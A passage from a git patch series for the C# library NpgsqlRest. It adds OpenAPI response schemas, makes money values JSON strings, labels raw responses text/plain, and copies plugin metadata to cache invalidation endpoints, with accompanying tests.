= new JsonObject() - }; - - var properties = itemSchema["properties"] as JsonObject; - for (int i = 0; i < routine.ColumnCount; i++) - { - properties![routine.ColumnNames[i]] = SchemaMapper.GetSchemaForType(routine.ColumnsTypeDescriptor[i]); - } - - return new JsonObject - { - ["type"] = "array", - ["items"] = itemSchema - }; - } - else if (routine.ColumnCount > 1 || routine.ReturnsRecordType) - { - // Returns single object - var schema = new JsonObject - { - ["type"] = "object", - ["properties"] = new JsonObject() - }; - - var properties = schema["properties"] as JsonObject; - for (int i = 0; i < routine.ColumnCount; i++) - { - properties![routine.ColumnNames[i]] = SchemaMapper.GetSchemaForType(routine.ColumnsTypeDescriptor[i]); - } - - return schema; - } - else if (routine.ColumnCount == 1) - { - // Returns single value - return SchemaMapper.GetSchemaForType(routine.ColumnsTypeDescriptor[0]); - } - - // Default - return new JsonObject - { - ["type"] = "object" - }; - } - private string GetHost() { string? host = null; diff --git a/plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs b/plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs new file mode 100644 index 00000000..4b4ce86a --- /dev/null +++ b/plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs @@ -0,0 +1,281 @@ +using System.Text.Json.Nodes; +using NpgsqlRest.Common; + +namespace NpgsqlRest.OpenAPI; + +/// +/// What an endpoint answers with, for the OpenAPI document: the status code, the content type and the schema of the +/// body. It follows the same decisions, in the same order, as the code that writes the response +/// (NpgsqlRestEndpoint), so that the document and the response agree: an endpoint annotated single answers +/// with one object and not with an array, one annotated void has no body, a function returning text answers +/// with text/plain, and so on. +/// +internal static class OpenApiResponse +{ + private const string Json = "application/json"; + private const string Text = "text/plain"; + private const string Octet = "application/octet-stream"; + private const string Any = "*/*"; + private const string TableFormat = "table_format"; + + /// The response's status code (the key under "responses") and its description object. + public static (string Status, JsonObject Response) Describe(RoutineEndpoint endpoint, NpgsqlRestOptions? options) + { + var routine = endpoint.Routine; + + // The body of a login depends on the authentication scheme: none with cookies, tokens with bearer or JWT. + if (endpoint.Login) + { + return Ok("Signed in. The body depends on the authentication scheme", Any, null); + } + if (endpoint.Logout) + { + return ("200", new JsonObject { ["description"] = "Signed out" }); + } + + // One decision for all generators (see RoutineEndpoint.GetResponseKind); what follows describes each kind. + switch (endpoint.GetResponseKind(options)) + { + case EndpointResponseKind.CacheInvalidation: + return Ok("Whether a cached response was removed", Json, new JsonObject + { + ["type"] = "object", + ["properties"] = new JsonObject { ["invalidated"] = new JsonObject { ["type"] = "boolean" } } + }); + case EndpointResponseKind.Upstream: + return Ok("The response of the upstream service", Any, null); + case EndpointResponseKind.NoContent: + return ("204", new JsonObject { ["description"] = "No content" }); + case EndpointResponseKind.Binary: + return Ok(ContentType(endpoint, Octet), Binary()); + case EndpointResponseKind.TableFormat: + // an HTML table, an Excel file... or a format taken from a parameter of the request + if (options?.TableFormatHandlers is not null + && endpoint.CustomParameters is not null + && endpoint.CustomParameters.TryGetValue(TableFormat, out var format) + && options.TableFormatHandlers.TryGetValue(format, out var handler)) + { + return Ok(handler.ContentType, + handler.ContentType.StartsWith("text/", StringComparison.OrdinalIgnoreCase) ? String() : Binary()); + } + return Ok(Any, null); + } + + if (routine.IsMultiCommand && routine.MultiCommandInfo is not null) + { + // One property for each statement that is not skipped: its rows, or the number of rows it affected. + var properties = new JsonObject(); + foreach (var command in routine.MultiCommandInfo) + { + if (command.IsSkipped) + { + continue; + } + if (command.ColumnCount == 0) + { + properties[command.Name] = new JsonObject { ["type"] = "integer" }; + continue; + } + var row = command.ReturnsUnnamedSet + ? ValueSchema(command.ColumnTypeDescriptors[0]) + : RowSchema(endpoint, command.ColumnNames, command.ColumnTypeDescriptors, command.ColumnCount, routineColumns: false); + properties[command.Name] = command.IsSingle ? row : ArrayOf(row); + } + return Ok(Json, new JsonObject { ["type"] = "object", ["properties"] = properties }); + } + + // One value + if (routine.ReturnsSet is false && routine.ColumnCount == 1 && routine.ReturnsRecordType is false + && routine.ColumnsTypeDescriptor is { Length: > 0 }) + { + var descriptor = routine.ColumnsTypeDescriptor[0]; + if (descriptor.IsArray && endpoint.Raw is false) + { + return Ok(ContentType(endpoint, Json), ValueSchema(descriptor)); + } + if (descriptor.IsJson) + { + return Ok(ContentType(endpoint, Json), new JsonObject()); + } + var contentType = ContentType(endpoint, descriptor.IsArray ? Json : Text); + if (IsJson(contentType)) + { + // text that the endpoint declares to be JSON: any JSON value + return Ok(contentType, endpoint.Raw ? String() : new JsonObject()); + } + // The value as text. A boolean is written as PostgreSQL writes it: t or f. + if (descriptor.IsBoolean) + { + return Ok(contentType, new JsonObject { ["type"] = "string", ["enum"] = new JsonArray((JsonNode)"t", (JsonNode)"f") }); + } + return Ok(contentType, descriptor.IsArray ? String() : SchemaMapper.GetSchemaForType(descriptor)); + } + + // Rows + if (endpoint.Raw) + { + return Ok(ContentType(endpoint, Json), String()); + } + + var rowSchema = routine.ReturnsUnnamedSet && routine.ColumnsTypeDescriptor is { Length: > 0 } + ? ValueSchema(routine.ColumnsTypeDescriptor[0]) + : RowSchema(endpoint, routine.ColumnNames ?? [], routine.ColumnsTypeDescriptor ?? [], routine.ColumnCount, routineColumns: true); + + return Ok(ContentType(endpoint, Json), + routine.ReturnsSet && endpoint.ReturnSingleRecord is false ? ArrayOf(rowSchema) : rowSchema); + } + + private static (string, JsonObject) Ok(string contentType, JsonObject? schema) => Ok("Successful response", contentType, schema); + + private static (string, JsonObject) Ok(string description, string contentType, JsonObject? schema) + { + var media = new JsonObject(); + if (schema is not null) + { + media["schema"] = schema; + } + return ("200", new JsonObject + { + ["description"] = description, + ["content"] = new JsonObject { [contentType] = media } + }); + } + + /// + /// The content type the endpoint sets, or the one the response gets by default. A content type built from a + /// parameter of the request ("{_type}") is not known in advance. + /// + private static string ContentType(RoutineEndpoint endpoint, string byDefault) + { + var contentType = endpoint.ResponseContentType; + if (string.IsNullOrWhiteSpace(contentType)) + { + return byDefault; + } + return contentType.Contains('{') ? Any : contentType; + } + + private static bool IsJson(string contentType) => contentType.Contains("json", StringComparison.OrdinalIgnoreCase); + + private static JsonObject String() => new() { ["type"] = "string" }; + + private static JsonObject Binary() => new() { ["type"] = "string", ["format"] = "binary" }; + + private static JsonObject ArrayOf(JsonObject items) => new() { ["type"] = "array", ["items"] = items }; + + /// A row as a JSON object: a property for each column. + private static JsonObject RowSchema( + RoutineEndpoint endpoint, + string[] columnNames, + TypeDescriptor[] descriptors, + int columnCount, + bool routineColumns) + { + var routine = endpoint.Routine; + var nested = endpoint.NestedJsonForCompositeTypes == true; + var properties = new JsonObject(); + + // With nested composite types, the columns a composite value was expanded into are one property again. + var composites = nested ? routine.CompositeColumnInfo : null; + HashSet? expanded = null; + if (composites is not null) + { + expanded = []; + foreach (var info in composites.Values) + { + foreach (var index in info.ExpandedColumnIndices) + { + if (index < columnCount) + { + expanded.Add(index); + } + } + } + } + + for (var i = 0; i < columnCount && i < columnNames.Length && i < descriptors.Length; i++) + { + if (composites is not null && composites.TryGetValue(i, out var composite)) + { + properties[composite.ConvertedColumnName] = ObjectOf(composite.FieldNames, composite.FieldDescriptors); + continue; + } + if (expanded is not null && expanded.Contains(i)) + { + continue; + } + + var descriptor = descriptors[i]; + if (routineColumns + && routine.ArrayCompositeColumnInfo is not null + && routine.ArrayCompositeColumnInfo.TryGetValue(i, out var elements)) + { + properties[columnNames[i]] = ArrayOf(ObjectOf(elements.FieldNames, elements.FieldDescriptors)); + continue; + } + + // A composite value in the result of an SQL file: one property, or its fields in place of it. + if (descriptor.CompositeFieldNames is not null && descriptor.CompositeFieldDescriptors is not null) + { + if (nested) + { + properties[columnNames[i]] = ObjectOf(descriptor.CompositeFieldNames, descriptor.CompositeFieldDescriptors); + } + else + { + AddFields(properties, descriptor.CompositeFieldNames, descriptor.CompositeFieldDescriptors); + } + continue; + } + + properties[columnNames[i]] = ValueSchema(descriptor); + } + + return new JsonObject { ["type"] = "object", ["properties"] = properties }; + } + + private static JsonObject ObjectOf(string[] fieldNames, TypeDescriptor[] fieldDescriptors) + { + var properties = new JsonObject(); + AddFields(properties, fieldNames, fieldDescriptors); + return new JsonObject { ["type"] = "object", ["properties"] = properties }; + } + + private static void AddFields(JsonObject properties, string[] fieldNames, TypeDescriptor[] fieldDescriptors) + { + for (var i = 0; i < fieldNames.Length && i < fieldDescriptors.Length; i++) + { + properties[fieldNames[i]] = ValueSchema(fieldDescriptors[i]); + } + } + + /// One value in a JSON response. + private static JsonObject ValueSchema(TypeDescriptor descriptor) + { + if (descriptor.ArrayCompositeFieldNames is not null && descriptor.ArrayCompositeFieldDescriptors is not null) + { + return ArrayOf(ObjectOf(descriptor.ArrayCompositeFieldNames, descriptor.ArrayCompositeFieldDescriptors)); + } + if (descriptor.CompositeFieldNames is not null && descriptor.CompositeFieldDescriptors is not null) + { + return ObjectOf(descriptor.CompositeFieldNames, descriptor.CompositeFieldDescriptors); + } + if (descriptor.IsArray) + { + // An array of json values holds any JSON values. The number of dimensions is not part of a PostgreSQL + // array type, so an array of more than one dimension is described as one of a single dimension. + return ArrayOf(descriptor.IsJson ? new JsonObject() : SchemaMapper.GetSchemaForType(new TypeDescriptor(descriptor.Type))); + } + if (descriptor.IsJson) + { + // json and jsonb hold any JSON value: an object, an array, a string, a number... + return new JsonObject(); + } + if (string.Equals(descriptor.Type, "record", StringComparison.OrdinalIgnoreCase)) + { + // a record with no declared columns: an array of its values, as text + return ArrayOf(String()); + } + return SchemaMapper.GetSchemaForType(descriptor); + } +} diff --git a/plugins/NpgsqlRest.TsClient/TsClient.cs b/plugins/NpgsqlRest.TsClient/TsClient.cs index 46b30e74..d138ab55 100644 --- a/plugins/NpgsqlRest.TsClient/TsClient.cs +++ b/plugins/NpgsqlRest.TsClient/TsClient.cs @@ -627,13 +627,31 @@ string GetReturnExp(string responseExp) // proxy_out: always returns raw upstream response (function runs first, then proxies to upstream). // proxy pass-through: when the routine is void, returns raw upstream response. // Transform proxies (non-void @proxy routines) return processed data — fall through to normal handling. + // What the endpoint answers with is decided in one place for all generators (GetResponseKind). A response + // that is not JSON or text of the routine's value is returned as it is: the response of an upstream + // service, rows in a table format (an HTML table, an Excel file) and bytes (bytea). + var responseKind = endpoint.Login || endpoint.Logout + ? EndpointResponseKind.Routine + : endpoint.GetResponseKind(_npgsqlRestoptions); var rawResponse = false; - if ((endpoint.IsProxyOut || (endpoint.IsProxy && routine.IsVoid)) && !urlOnly) + if (responseKind is EndpointResponseKind.Upstream or EndpointResponseKind.TableFormat or EndpointResponseKind.Binary && !urlOnly) { responseName = "Response"; returnExp = "return response;"; rawResponse = true; } + else if (responseKind == EndpointResponseKind.CacheInvalidation && !urlOnly) + { + // the cache invalidation endpoint of a cached endpoint: the routine is not run + responseName = "{ invalidated: boolean }"; + returnExp = GetReturnExp(options.SkipTypes ? "await response.json()" : $"await response.json() as {responseName}"); + } + else if (responseKind == EndpointResponseKind.RawText && !urlOnly) + { + // the raw annotation: the values as text, not JSON + responseName = "string"; + returnExp = GetReturnExp("await response.text()"); + } else if (routine.IsMultiCommand && routine.MultiCommandInfo is not null && !urlOnly && !endpoint.Void) { // Multi-command SQL file: generate response interface with one property per command result From 6b492b2948185475a200e24f0875b53daf60eb77 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Wed, 2 Dec 2026 09:21:24 +0100 Subject: [PATCH 31/38] fix: money values are JSON strings in responses A money value in a row, an array or a composite field was written without quotes ($1,234.50), which is not valid JSON. It is a string now, as PostgreSQL writes it (lc_monetary). Parameters still take a number or a decimal string. Generated clients, OpenAPI and MCP type money as a string. --- NpgsqlRest/TypeCategory.cs | 7 +- .../DartClientTests/NumericSplitTests.cs | 12 +-- NpgsqlRestTests/ReturnTests/MoneyTests.cs | 85 +++++++++++++++++++ 3 files changed, 96 insertions(+), 8 deletions(-) create mode 100644 NpgsqlRestTests/ReturnTests/MoneyTests.cs diff --git a/NpgsqlRest/TypeCategory.cs b/NpgsqlRest/TypeCategory.cs index 8d80f53d..e1d9b073 100644 --- a/NpgsqlRest/TypeCategory.cs +++ b/NpgsqlRest/TypeCategory.cs @@ -11,7 +11,7 @@ namespace NpgsqlRest; public enum TypeCategory : ushort { None = 0, - /// Smallint, Integer, Bigint, Numeric, Real, Double, Money + /// Smallint, Integer, Bigint, Numeric, Real, Double Numeric = 1 << 0, /// Boolean Boolean = 1 << 1, @@ -54,7 +54,10 @@ static TypeCategoryLookup() _lookup[(int)NpgsqlDbType.Numeric] = TypeCategory.Numeric; _lookup[(int)NpgsqlDbType.Real] = TypeCategory.Numeric; _lookup[(int)NpgsqlDbType.Double] = TypeCategory.Numeric; - _lookup[(int)NpgsqlDbType.Money] = TypeCategory.Numeric; + // Money is not a number in a response: PostgreSQL writes it as text in the format of lc_monetary ("$1,234.50", + // "1.234,50 €"), which is not a JSON number. It is written as a JSON string. (As a parameter it is still + // parsed as a decimal: see ParameterParsers.) + _lookup[(int)NpgsqlDbType.Money] = TypeCategory.NeedsEscape; // Boolean _lookup[(int)NpgsqlDbType.Boolean] = TypeCategory.Boolean; diff --git a/NpgsqlRestTests/DartClientTests/NumericSplitTests.cs b/NpgsqlRestTests/DartClientTests/NumericSplitTests.cs index 3d4d0c56..f0ab5bee 100644 --- a/NpgsqlRestTests/DartClientTests/NumericSplitTests.cs +++ b/NpgsqlRestTests/DartClientTests/NumericSplitTests.cs @@ -7,8 +7,8 @@ public static void DartClientNumericSplitTests() script.Append(""" create schema if not exists dartclient_test; --- Dart distinguishes int (smallint/integer/bigint) from double (real/double precision/numeric/money), --- unlike TypeScript where every numeric is just `number`. +-- Dart distinguishes int (smallint/integer/bigint) from double (real/double precision/numeric), +-- unlike TypeScript where every numeric is just `number`. money is a String: PostgreSQL writes it as text ("$1,234.50"). create function dartclient_test.numeric_split( _small smallint, _regular int, @@ -98,7 +98,7 @@ class DartclientTestNumericSplitRequest { final double? real; final double? double_; final double? numeric; - final double? money; + final String? money; const DartclientTestNumericSplitRequest({ this.small, @@ -118,7 +118,7 @@ factory DartclientTestNumericSplitRequest.fromJson(Map json) { real: (json['real'] as num?)?.toDouble(), double_: (json['double'] as num?)?.toDouble(), numeric: (json['numeric'] as num?)?.toDouble(), - money: (json['money'] as num?)?.toDouble(), + money: json['money'] as String?, ); } @@ -142,7 +142,7 @@ class DartclientTestNumericSplitResponse { final double? realCol; final double? doubleCol; final double? numericCol; - final double? moneyCol; + final String? moneyCol; const DartclientTestNumericSplitResponse({ this.smallCol, @@ -162,7 +162,7 @@ factory DartclientTestNumericSplitResponse.fromJson(Map json) { realCol: (json['realCol'] as num?)?.toDouble(), doubleCol: (json['doubleCol'] as num?)?.toDouble(), numericCol: (json['numericCol'] as num?)?.toDouble(), - moneyCol: (json['moneyCol'] as num?)?.toDouble(), + moneyCol: json['moneyCol'] as String?, ); } diff --git a/NpgsqlRestTests/ReturnTests/MoneyTests.cs b/NpgsqlRestTests/ReturnTests/MoneyTests.cs new file mode 100644 index 00000000..285ed2cc --- /dev/null +++ b/NpgsqlRestTests/ReturnTests/MoneyTests.cs @@ -0,0 +1,85 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void MoneyTests() + { + script.Append(""" + create function money_rows() returns table (id int, price money) language sql + as $$ select * from (values (1, 1234.5::money), (2, null::money)) t(id, price) $$; + comment on function money_rows() is 'HTTP GET'; + + create function money_value() returns money language sql as $$ select 1234.5::money $$; + comment on function money_value() is 'HTTP GET'; + + create function money_array() returns table (prices money[]) language sql as $$ select array[1.5::money, 2::money] $$; + comment on function money_array() is 'HTTP GET'; + + create type money_item as (label text, price money); + create function money_items() returns table (items money_item[]) language sql + as $$ select array[row('a', 1.5::money)::money_item] $$; + comment on function money_items() is 'HTTP GET'; + + create function money_echo(_price money) returns table (price money) language sql as $$ select _price $$; + comment on function money_echo(money) is 'HTTP POST'; + """); + } +} + +// A money value is written by PostgreSQL as text ("$1,234.50"), so in JSON it is a string. It used to be written +// without quotes, which made the whole response invalid JSON. +[Collection("TestFixture")] +public class MoneyTests(TestFixture test) +{ + private async Task Answered(HttpMethod method, string path, string? body = null) + { + using var request = new HttpRequestMessage(method, path); + if (body is not null) + { + request.Content = new StringContent(body, Encoding.UTF8, "application/json"); + } + using var response = await test.Client.SendAsync(request); + return $"{(int)response.StatusCode} {response.Content.Headers.ContentType?.MediaType} {await response.Content.ReadAsStringAsync()}"; + } + + [Fact] + public async Task Money_column_is_a_json_string() + { + (await Answered(HttpMethod.Get, "/api/money-rows")).Should().Be( + """200 application/json [{"id":1,"price":"$1,234.50"},{"id":2,"price":null}]"""); + } + + [Fact] + public async Task Money_value_is_text() + { + (await Answered(HttpMethod.Get, "/api/money-value")).Should().Be("200 text/plain $1,234.50"); + } + + [Fact] + public async Task Money_array_is_an_array_of_strings() + { + (await Answered(HttpMethod.Get, "/api/money-array")).Should().Be( + """200 application/json [{"prices":["$1.50","$2.00"]}]"""); + } + + [Fact] + public async Task Money_field_of_a_composite_value_is_a_string() + { + (await Answered(HttpMethod.Get, "/api/money-items")).Should().Be( + """200 application/json [{"items":[{"label":"a","price":"$1.50"}]}]"""); + } + + [Fact] + public async Task Money_parameter_is_a_number() + { + (await Answered(HttpMethod.Post, "/api/money-echo", """{"price": 12.5}""")).Should().Be( + """200 application/json [{"price":"$12.50"}]"""); + } + + [Fact] + public async Task Money_parameter_is_also_accepted_as_a_decimal_in_a_string() + { + (await Answered(HttpMethod.Post, "/api/money-echo", """{"price": "12.5"}""")).Should().Be( + """200 application/json [{"price":"$12.50"}]"""); + } +} From fd378b28486c58bb208040a5e1616613e13a7c4e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Wed, 2 Dec 2026 09:21:24 +0100 Subject: [PATCH 32/38] fix: raw responses are text/plain by default A raw endpoint without a content type answered as application/json, although the body is not JSON. Also for a raw routine that returns one array value. The OpenAPI document says the same. --- NpgsqlRest/NpgsqlRestEndpoint.cs | 14 ++++++++++---- .../OpenApiTests/ResponseShapeTests.cs | 16 ++++++++++++++-- .../RawContentTests/RawResponseTests.cs | 3 ++- .../RawResponseUsingParamsTests.cs | 3 ++- plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs | 4 ++-- 5 files changed, 30 insertions(+), 10 deletions(-) diff --git a/NpgsqlRest/NpgsqlRestEndpoint.cs b/NpgsqlRest/NpgsqlRestEndpoint.cs index 0b77d4e5..ead1f3f4 100644 --- a/NpgsqlRest/NpgsqlRestEndpoint.cs +++ b/NpgsqlRest/NpgsqlRestEndpoint.cs @@ -1910,7 +1910,7 @@ private async ValueTask WriteScalarAsync(RequestState s, NpgsqlDataReader reader return; } - SetScalarContentType(s.context, descriptor); + SetScalarContentType(s.context, descriptor, s.endpoint.Raw); if (utf8 is null) { // SQL NULL @@ -2067,7 +2067,7 @@ Options.AuthenticationOptions.DefaultDataProtector is not null && } } - SetScalarContentType(context, descriptor); + SetScalarContentType(context, descriptor, endpoint.Raw); // if raw if (endpoint.Raw) @@ -2294,6 +2294,11 @@ private async ValueTask WriteResultSetsAsync(RequestState s, NpgsqlDataReader re { context.Response.ContentType = Application.Octet; } + else if (endpoint.Raw) + { + // the raw annotation: values as text, not JSON (it used to be labelled application/json) + context.Response.ContentType = Text.Plain; + } else { context.Response.ContentType = Application.Json; @@ -3914,7 +3919,7 @@ private void Reset() } } - private static void SetScalarContentType(HttpContext context, TypeDescriptor descriptor) + private static void SetScalarContentType(HttpContext context, TypeDescriptor descriptor, bool raw) { if (context.Response.ContentType is null) { @@ -3922,7 +3927,8 @@ private static void SetScalarContentType(HttpContext context, TypeDescriptor des { context.Response.ContentType = Application.Octet; } - else if ((descriptor.Category & TypeCategory.Json) != 0 || descriptor.IsArray) + // An array is written as a JSON array, unless the endpoint is raw: then it is PostgreSQL's array text. + else if ((descriptor.Category & TypeCategory.Json) != 0 || (descriptor.IsArray && raw is false)) { context.Response.ContentType = Application.Json; } diff --git a/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs index 36a74c64..e3dd8c98 100644 --- a/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs +++ b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs @@ -111,6 +111,11 @@ HTTP GET comment on function oas_shape_login() is ' HTTP POST login'; + +create function oas_shape_raw_array() returns int[] language sql as $$ select array[1,2] $$; +comment on function oas_shape_raw_array() is ' +HTTP GET +raw'; """); } } @@ -245,8 +250,8 @@ public async Task Array_value_is_a_json_array() [Fact] public async Task Raw_is_text_and_not_an_array() { - (await Answered("/api/oas-shape-raw")).Should().Be("""200 application/json 1,"x" """.TrimEnd()); - Documented("/api/oas-shape-raw").Should().Be(Ok("application/json", """{"type":"string"}""")); + (await Answered("/api/oas-shape-raw")).Should().Be("""200 text/plain 1,"x" """.TrimEnd()); + Documented("/api/oas-shape-raw").Should().Be(Ok("text/plain", """{"type":"string"}""")); } [Fact] @@ -337,5 +342,12 @@ public void Login_body_depends_on_the_authentication_scheme() Documented("/api/oas-shape-login", "post").Should().Be( """{"200":{"description":"Signed in. The body depends on the authentication scheme","content":{"*/*":{}}}}"""); } + + [Fact] + public async Task Raw_array_value_is_text_and_not_a_json_array() + { + (await Answered("/api/oas-shape-raw-array")).Should().Be("200 text/plain {1,2}"); + Documented("/api/oas-shape-raw-array").Should().Be(Ok("text/plain", """{"type":"string"}""")); + } } } diff --git a/NpgsqlRestTests/RawContentTests/RawResponseTests.cs b/NpgsqlRestTests/RawContentTests/RawResponseTests.cs index 2442b405..642e55f5 100644 --- a/NpgsqlRestTests/RawContentTests/RawResponseTests.cs +++ b/NpgsqlRestTests/RawContentTests/RawResponseTests.cs @@ -91,7 +91,8 @@ public async Task Test_raw_response1() var response = await result.Content.ReadAsStringAsync(); result?.StatusCode.Should().Be(HttpStatusCode.OK); - result?.Content?.Headers?.ContentType?.MediaType.Should().Be("application/json"); + // raw is text, not JSON (it was labelled application/json before 4.1.1) + result?.Content?.Headers?.ContentType?.MediaType.Should().Be("text/plain"); response.Should().Be("1232024-01-01 00:00:00tsome text4562024-12-31 00:00:00fanother text"); } diff --git a/NpgsqlRestTests/RawContentTests/RawResponseUsingParamsTests.cs b/NpgsqlRestTests/RawContentTests/RawResponseUsingParamsTests.cs index 6e839c20..6122b4b6 100644 --- a/NpgsqlRestTests/RawContentTests/RawResponseUsingParamsTests.cs +++ b/NpgsqlRestTests/RawContentTests/RawResponseUsingParamsTests.cs @@ -91,7 +91,8 @@ public async Task Test_raw_response2() var response = await result.Content.ReadAsStringAsync(); result?.StatusCode.Should().Be(HttpStatusCode.OK); - result?.Content?.Headers?.ContentType?.MediaType.Should().Be("application/json"); + // raw is text, not JSON (it was labelled application/json before 4.1.1) + result?.Content?.Headers?.ContentType?.MediaType.Should().Be("text/plain"); response.Should().Be("1232024-01-01 00:00:00tsome text4562024-12-31 00:00:00fanother text"); } diff --git a/plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs b/plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs index 4b4ce86a..3e1aec0f 100644 --- a/plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs +++ b/plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs @@ -97,7 +97,7 @@ public static (string Status, JsonObject Response) Describe(RoutineEndpoint endp { return Ok(ContentType(endpoint, Json), new JsonObject()); } - var contentType = ContentType(endpoint, descriptor.IsArray ? Json : Text); + var contentType = ContentType(endpoint, Text); if (IsJson(contentType)) { // text that the endpoint declares to be JSON: any JSON value @@ -114,7 +114,7 @@ public static (string Status, JsonObject Response) Describe(RoutineEndpoint endp // Rows if (endpoint.Raw) { - return Ok(ContentType(endpoint, Json), String()); + return Ok(ContentType(endpoint, Text), String()); } var rowSchema = routine.ReturnsUnnamedSet && routine.ColumnsTypeDescriptor is { Length: > 0 } From 5f3e1f42ccbd0e73b3fee06231a5e54a9190ae50 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Wed, 2 Dec 2026 09:21:24 +0100 Subject: [PATCH 33/38] fix: cache invalidation endpoint follows its endpoint's plugin metadata The invalidation endpoint gets the Items of the cached endpoint, so openapi hide and openapi tags apply to it. MCP does not take it for a second tool. --- NpgsqlRest/NpgsqlRestBuilder.cs | 2 ++ NpgsqlRest/RoutineEndpoint.cs | 17 ++++++++++++ .../McpTests/McpResponseShapeTests.cs | 26 +++++++++++++++++++ .../OpenApiTests/ResponseShapeTests.cs | 26 +++++++++++++++++++ NpgsqlRestTests/Setup/McpPluginTestFixture.cs | 6 +++++ plugins/NpgsqlRest.Mcp/Mcp.cs | 6 +++++ 6 files changed, 83 insertions(+) diff --git a/NpgsqlRest/NpgsqlRestBuilder.cs b/NpgsqlRest/NpgsqlRestBuilder.cs index ce720e4e..d9266fb8 100644 --- a/NpgsqlRest/NpgsqlRestBuilder.cs +++ b/NpgsqlRest/NpgsqlRestBuilder.cs @@ -518,6 +518,8 @@ private static Metadata Build(IApplicationBuilder? builder, RetryStrategy? defau CacheProfile = endpoint.CacheProfile }; + endpoint.CopyItemsTo(invalidateEndpoint); + var invalidateKey = string.Concat(method, invalidatePath); var invalidateValue = new NpgsqlRestMetadataEntry(invalidateEndpoint, formatter, invalidateKey); lookup[invalidateKey] = invalidateValue; diff --git a/NpgsqlRest/RoutineEndpoint.cs b/NpgsqlRest/RoutineEndpoint.cs index f12a1040..69b46690 100644 --- a/NpgsqlRest/RoutineEndpoint.cs +++ b/NpgsqlRest/RoutineEndpoint.cs @@ -187,6 +187,23 @@ public string? BodyParameterName /// public IDictionary Items => _items ??= new(StringComparer.Ordinal); + /// + /// Gives another endpoint the plugin metadata of this one. Used for the cache invalidation endpoint, which belongs + /// to a cached endpoint: what the plugins were told about that endpoint (hide it from the OpenAPI document, its + /// tags) applies to its invalidation endpoint as well. + /// + internal void CopyItemsTo(RoutineEndpoint other) + { + if (_items is null) + { + return; + } + foreach (var item in _items) + { + other.Items[item.Key] = item.Value; + } + } + /// /// Non-allocating read of an entry. Returns false (without allocating the /// bag) when no items have been stored. Use this for reads on the hot/common path so endpoints diff --git a/NpgsqlRestTests/McpTests/McpResponseShapeTests.cs b/NpgsqlRestTests/McpTests/McpResponseShapeTests.cs index d76185ee..44c42271 100644 --- a/NpgsqlRestTests/McpTests/McpResponseShapeTests.cs +++ b/NpgsqlRestTests/McpTests/McpResponseShapeTests.cs @@ -37,6 +37,13 @@ comment on function mcp.shape_void() is ' HTTP GET @mcp Runs and returns nothing. void'; + +-- a cached tool: its cache invalidation endpoint is not a second tool +create function mcp.shape_cached() returns table(val text) language sql as 'select ''a'''; +comment on function mcp.shape_cached() is ' +HTTP GET +@mcp A cached set of rows. +cached'; "); } } @@ -97,4 +104,23 @@ public async Task Void_annotation_has_no_structured_content_and_no_output_schema (await ToolDefAsync("shape_void")).Should().Be( """{"name":"shape_void","description":"Runs and returns nothing.","inputSchema":{"type":"object","properties":{}},"annotations":{"readOnlyHint":true}}"""); } + [Fact] + public async Task Cache_invalidation_endpoint_of_a_tool_is_not_a_tool() + { + using var content = new StringContent("""{"jsonrpc":"2.0","id":1,"method":"tools/list"}""", Encoding.UTF8, "application/json"); + using var response = await test.Client.PostAsync("/mcp", content); + var names = JsonNode.Parse(await response.Content.ReadAsStringAsync())!["result"]!["tools"]!.AsArray() + .Select(t => t!["name"]!.GetValue()) + .Where(n => n.StartsWith("shape_cached")) + .ToArray(); + names.Should().BeEquivalentTo(["shape_cached"]); + + // the tool is the cached endpoint: it answers with the rows + (await CallAsync("shape_cached")).Should().Be( + """{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"items\":[{\"val\":\"a\"}]}"}],"isError":false,"structuredContent":{"items":[{"val":"a"}]}}}"""); + + // and the invalidation endpoint exists and works + using var invalidate = await test.Client.GetAsync("/api/mcp/shape-cached/invalidate"); + (await invalidate.Content.ReadAsStringAsync()).Should().StartWith("{\"invalidated\":"); + } } diff --git a/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs index e3dd8c98..5f29e210 100644 --- a/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs +++ b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs @@ -112,6 +112,18 @@ comment on function oas_shape_login() is ' HTTP POST login'; +create function oas_shape_hidden() returns table (id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_hidden() is ' +HTTP GET +cached +openapi hide'; + +create function oas_shape_tagged() returns table (id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_tagged() is ' +HTTP GET +cached +openapi tags Things'; + create function oas_shape_raw_array() returns int[] language sql as $$ select array[1,2] $$; comment on function oas_shape_raw_array() is ' HTTP GET @@ -343,6 +355,20 @@ public void Login_body_depends_on_the_authentication_scheme() """{"200":{"description":"Signed in. The body depends on the authentication scheme","content":{"*/*":{}}}}"""); } + [Fact] + public void Invalidation_endpoint_of_a_hidden_endpoint_is_hidden_too() + { + Document.Value["paths"]!["/api/oas-shape-hidden"].Should().BeNull(); + Document.Value["paths"]!["/api/oas-shape-hidden/invalidate"].Should().BeNull(); + } + + [Fact] + public void Invalidation_endpoint_has_the_tags_of_its_endpoint() + { + Document.Value["paths"]!["/api/oas-shape-tagged"]!["get"]!["tags"]!.ToJsonString().Should().Be("""["Things"]"""); + Document.Value["paths"]!["/api/oas-shape-tagged/invalidate"]!["get"]!["tags"]!.ToJsonString().Should().Be("""["Things"]"""); + } + [Fact] public async Task Raw_array_value_is_text_and_not_a_json_array() { diff --git 